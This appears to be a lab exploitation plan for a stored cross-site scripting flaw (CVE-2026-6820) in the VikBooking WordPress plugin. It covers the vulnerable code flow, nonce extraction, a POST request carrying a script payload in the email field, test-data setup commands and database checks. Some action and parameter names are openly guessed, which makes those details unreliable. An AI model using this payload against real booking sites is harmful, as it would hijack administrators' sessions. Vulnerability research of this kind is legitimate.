Exploitation Research Plan: CVE-2026-6820 (VikBooking Stored XSS)

1. Vulnerability Summary

The VikBooking Hotel Booking Engine & PMS plugin (versions <= 1.8.8) contains a stored Cross-Site Scripting (XSS) vulnerability. The vulnerability occurs because the plugin fails to sanitize the email parameter during the submission of booking or quotation forms and subsequently fails to escape this data when displaying it in the WordPress administrative dashboard (e.g., within the "Quotations" or "Booking Details" views).

2. Attack Vector Analysis

• Endpoint: The vulnerability is reachable via front-end booking or quotation submission. Typically, this is a POST request to the main WordPress front-end or an AJAX action. Based on admin/controllers/quote.php, the logic is likely mirrored in a front-end controller.
• Action: vikbooking_save_quote (inferred action for quotation) or a direct POST to a page containing the [vikbooking_item_details] or [vikbooking_checkout] shortcode.
• Vulnerable Parameter: quote[customer][email] (or simply email depending on the specific form context).
• Authentication: Unauthenticated.
• Preconditions: The plugin must have at least one active "Room" and "Rate Plan" to allow a user to reach the checkout/quotation stage.

3. Code Flow

1. Entry Point: A user submits a quotation or booking form. The request reaches a controller (e.g., VikBookingControllerQuote::save in admin/controllers/quote.php).
2. Data Acquisition: The controller retrieves the input:

   $quote = $app->input->get('quote', [], 'array');
   $customerInfo = [
       'first_name' => $quote['customer']['first_name'],
       'email'      => $quote['customer']['email'] ?? null, // Raw input
       // ...
   ];
   

3. Storage: The data is passed to VBOMvcModel::getInstance('customer')->save($customerInfo) or VBOModelQuote::save().
4. Processing: In admin/helpers/src/model/quote.php, the preflight() method is called before saving. It performs various conversions (UUID, IP, country codes) but does not call sanitize_email() or sanitize_text_field() on the email field.
5. Persistence: The payload is stored in the #__vikbooking_quotations or #__vikbooking_customers database table.
6. Sink: An administrator views the booking/quotation in the dashboard. The admin/helpers/widgets/booking_details.php loads the data. The view template (e.g., admin/views/quotation/tmpl/default.php) renders the email field using echo without esc_html() or esc_attr().

4. Nonce Acquisition Strategy

VikBooking often uses a Joomla-style token or a WordPress nonce for form submissions. To obtain a valid nonce for unauthenticated exploitation:

1. Identify Shortcode: The booking form is typically rendered via the [vikbooking_checkout] or [vikbooking_item_details] shortcode.
2. Setup Test Page:

   wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[vikbooking_checkout]'
   

3. Extraction: Navigate to the newly created page. VikBooking localizes its scripts using wp_localize_script.
4. JS Variable: Based on common VikBooking patterns, look for the vbo_ajax or vikbooking_data object.
   • Use browser_eval("window.vbo_vars?.nonce") or check the HTML for a hidden input named _wpnonce or token.
   • Note: If JSession::checkToken() is used (as seen in admin/controllers/quote.php), the "nonce" may be a 32-character MD5 hash used as a key in the request.

5. Exploitation Strategy

Step 1: Submit Malicious Quotation

Submit a quotation with a script payload in the email field.

• URL: http://localhost:8080/wp-admin/admin-ajax.php (if using AJAX) or the URL of the Booking page.
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: vbo_save_quote (or the specific action found in the form)
  • quote[customer][first_name]: Attacker
  • quote[customer][last_name]: User
  • quote[customer][email]: "><script>alert(document.domain)</script>@example.com
  • quote[customer][country]: US
  • quote[solutions][0][checkin]: 2026-10-10
  • quote[solutions][0][checkout]: 2026-10-12
  • quote[solutions][0][rooms][0][id]: 1 (Must be a valid room ID)
  • quote[solutions][0][rooms][0][id_price]: 1 (Must be a valid rate ID)
  • quote[solutions][0][rooms][0][adults]: 1
  • _wpnonce: [EXTRACTED_NONCE]

Step 2: Trigger the Payload

1. Log in to the WordPress admin panel.
2. Navigate to VikBooking -> Quotations or VikBooking -> Bookings.
3. The script will execute when the list is rendered or when clicking "Edit" to view the quotation details.

6. Test Data Setup

1. Create a Room:

   wp db query "INSERT INTO wp_vikbooking_rooms (name, units, avail) VALUES ('Deluxe Room', 5, 1);"
   

2. Create a Rate Plan:

   wp db query "INSERT INTO wp_vikbooking_prices (idroom, name, price) VALUES (1, 'Standard Rate', 100.00);"
   

3. Create a Front-end Page:

   wp post create --post_type=page --post_status=publish --post_content='[vikbooking_checkout]' --post_title='Checkout'
   

7. Expected Results

• Submission Response: The server should return a 200 OK or a JSON success message (e.g., {"success":true}).
• Admin Trigger: Upon navigating to the VikBooking Quotations page, an alert box showing the document domain should appear.

8. Verification Steps

Confirm the payload is stored in the database:

wp db query "SELECT email FROM wp_vikbooking_quotations WHERE first_name='Attacker';"
# Expected output should contain: "><script>alert(document.domain)</script>@example.com

9. Alternative Approaches

If vbo_save_quote is restricted or requires higher privileges, target the Front-end Reservation Form:

• Action: vikbooking_save_reservation
• Parameter: vbo_email or cust_email.
• Logic: Many plugins use shared helpers (like cpin in the source) to handle customer data. Injecting into any form that creates a "Customer" record in the database will likely trigger the XSS in the "Customers" or "Booking Details" administrative views.